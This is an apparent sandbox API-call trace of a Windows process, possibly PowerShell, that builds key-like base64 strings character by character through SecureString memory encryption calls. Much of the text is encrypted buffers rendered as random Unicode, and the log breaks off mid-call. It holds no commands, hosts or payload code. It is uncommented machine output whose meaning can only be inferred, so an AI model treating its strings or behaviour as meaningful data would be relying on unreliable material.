0x0 [0200.832] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Z") returned 0x18 [0200.832] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.832] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ∝) returned 0x18 [0200.833] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ∝) returned 0x18 [0200.833] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ∝) returned 0x18 [0200.833] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ∝) returned 0x20 [0200.833] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.833] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zqſ㚿ꗪ嚙դਰ탄") returned 0x20 [0200.833] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.833] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹĝ\㳚煥畵⿎∜곙㱱") returned 0x20 [0200.833] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹĝ\㳚煥畵⿎∜곙㱱") returned 0x20 [0200.833] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.833] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2㚿ꗪ嚙դਰ탄") returned 0x20 [0200.833] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.834] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ倝꾣㮪뭵餺䠢蜻小≬) returned 0x20 [0200.834] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ倝꾣㮪뭵餺䠢蜻小≬) returned 0x20 [0200.834] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.834] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rꗪ嚙դਰ탄") returned 0x20 [0200.834] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.834] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ爝䫗碅稵쮐⋁) returned 0x20 [0200.834] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ爝䫗碅稵쮐⋁) returned 0x20 [0200.834] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.834] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rh嚙դਰ탄") returned 0x20 [0200.834] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.834] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ䤝䪴Ὡ븤զ殂株⋒) returned 0x20 [0200.834] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ䤝䪴Ὡ븤զ殂株⋒) returned 0x20 [0200.834] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.835] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhaդਰ탄") returned 0x20 [0200.835] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.835] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ⨝䳄铋\㿙鋁䕦ⴣ") returned 0x20 [0200.835] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ⨝䳄铋\㿙鋁䕦ⴣ") returned 0x20 [0200.835] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.835] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavਰ탄") returned 0x20 [0200.835] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.835] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ⤝捯憲숵欭چ䛢鮔≭) returned 0x20 [0200.835] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ⤝捯憲숵欭چ䛢鮔≭) returned 0x20 [0200.835] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.836] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn탄") returned 0x20 [0200.836] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.836] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ␝솧踤䀌鎝ᨇ쀊䓊∣) returned 0x20 [0200.836] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ␝솧踤䀌鎝ᨇ쀊䓊∣) returned 0x20 [0200.836] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.836] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7") returned 0x20 [0200.836] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.836] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ⋔) returned 0x20 [0200.836] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ⋔) returned 0x20 [0200.836] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ⋔) returned 0x20 [0200.837] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ⋔) returned 0x28 [0200.837] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.837] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7C㊼⁩溰﫜숗蘐ᤧ") returned 0x28 [0200.837] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.837] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵⳔࢇ훗㉤崞䰳㤣匌∼) returned 0x28 [0200.837] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵⳔࢇ훗㉤崞䰳㤣匌∼) returned 0x28 [0200.837] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.837] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQ⁩溰﫜숗蘐ᤧ") returned 0x28 [0200.837] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.837] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ쯔誖决ী⼹ጻ뎲⊀) returned 0x28 [0200.837] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ쯔誖决ী⼹ጻ뎲⊀) returned 0x28 [0200.837] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.838] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQT溰﫜숗蘐ᤧ") returned 0x28 [0200.838] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.838] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ蓔쌐趟토ت᭸ᣄ敡≯) returned 0x28 [0200.838] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ蓔쌐趟토ت᭸ᣄ敡≯) returned 0x28 [0200.838] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.838] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp﫜숗蘐ᤧ") returned 0x28 [0200.838] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.838] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ틔쳷싵抦⎊側뷍ᑠ−) returned 0x28 [0200.838] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ틔쳷싵抦⎊側뷍ᑠ−) returned 0x28 [0200.838] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.838] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+숗蘐ᤧ") returned 0x28 [0200.838] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.839] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵⓔꍑƻ埍℗ꡣ˒∗) returned 0x28 [0200.839] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵⓔꍑƻ埍℗ꡣ˒∗) returned 0x28 [0200.839] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.839] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+I蘐ᤧ") returned 0x28 [0200.839] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.839] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵਗ਼ݪឣᴪ戽⊇) returned 0x28 [0200.839] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵਗ਼ݪឣᴪ戽⊇) returned 0x28 [0200.839] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.839] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+Ipᤧ") returned 0x28 [0200.839] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.839] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ曔﫯瘍ﱍⶁ刴舯뵤⊜) returned 0x28 [0200.839] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ曔﫯瘍ﱍⶁ刴舯뵤⊜) returned 0x28 [0200.839] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.840] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+IpW") returned 0x28 [0200.840] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.840] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵⋲) returned 0x28 [0200.840] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵⋲) returned 0x28 [0200.840] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵⋲) returned 0x28 [0200.840] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵⋲) returned 0x30 [0200.840] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.840] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+IpWMᓍ䷙㥣⣯ⱋ٘㾺") returned 0x30 [0200.840] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.841] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵蛲屧䐹湕癩ᑊ럟⊧) returned 0x30 [0200.841] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵蛲屧䐹湕癩ᑊ럟⊧) returned 0x30 [0200.841] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.841] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+IpWMY䷙㥣⣯ⱋ٘㾺") returned 0x30 [0200.841] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.841] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵迲㶕駴䱯⼀互⊇) returned 0x30 [0200.841] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵迲㶕駴䱯⼀互⊇) returned 0x30 [0200.841] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.841] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+IpWMY0㥣⣯ⱋ٘㾺") returned 0x30 [0200.841] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.841] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵\⟚灒㿆뻌悏鳦鑸ཚ") returned 0x30 [0200.842] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩﹠㧪䇖ἤ\ᯝ䎳ｹ頝⥃ 繗㏔桱捴ᳵ䇔塠뀬괺ƒ㒣⮚腵\⟚灒㿆뻌悏鳦鑸ཚ") returned 0x30 [0200.842] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.842] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2Zq2rhavn7CQTp+IpWMY0=⣯ⱋ٘㾺") returned 0x30 [0200.842] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0200.842] EtwEventActivityIdControl () returned 0x0 [0200.842] EtwEventActivityIdControl () returned 0x0 [0200.842] EtwEventActivityIdControl () returned 0x0 [0200.843] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.843] EtwEventActivityIdControl () returned 0x0 [0200.843] EtwEventActivityIdControl () returned 0x0 [0200.843] EtwEventActivityIdControl () returned 0x0 [0200.844] SysStringLen (param_1="") returned 0x8 [0200.844] SysStringLen (param_1="N") returned 0x8 [0200.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.844] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0200.844] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0200.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.845] SysStringLen (param_1="ND") returned 0x8 [0200.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.845] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0200.845] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0200.845] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.845] SysStringLen (param_1="NDZ") returned 0x8 [0200.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.845] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0200.845] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0200.845] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.845] SysStringLen (param_1="NDZl") returned 0x8 [0200.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.846] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0200.846] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0200.846] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.846] SysStringLen (param_1="NDZlO") returned 0x8 [0200.846] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.846] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0200.846] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0200.846] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.846] SysStringLen (param_1="NDZlOD") returned 0x8 [0200.846] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.847] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0200.847] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0200.847] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.847] SysStringLen (param_1="NDZlODR") returned 0x8 [0200.847] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.847] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0200.847] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0200.847] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.847] SysStringLen (param_1="NDZlODRm") returned 0x8 [0200.847] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0200.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.848] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0200.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0200.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.848] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0200.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0200.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0200.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.849] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0200.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0200.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0200.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.849] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0200.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0200.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0200.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.849] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0200.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0200.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0200.850] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.850] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0200.850] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0200.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0200.850] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.850] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0200.850] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0200.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0200.850] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.850] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0200.851] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0200.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0200.851] SysStringLen 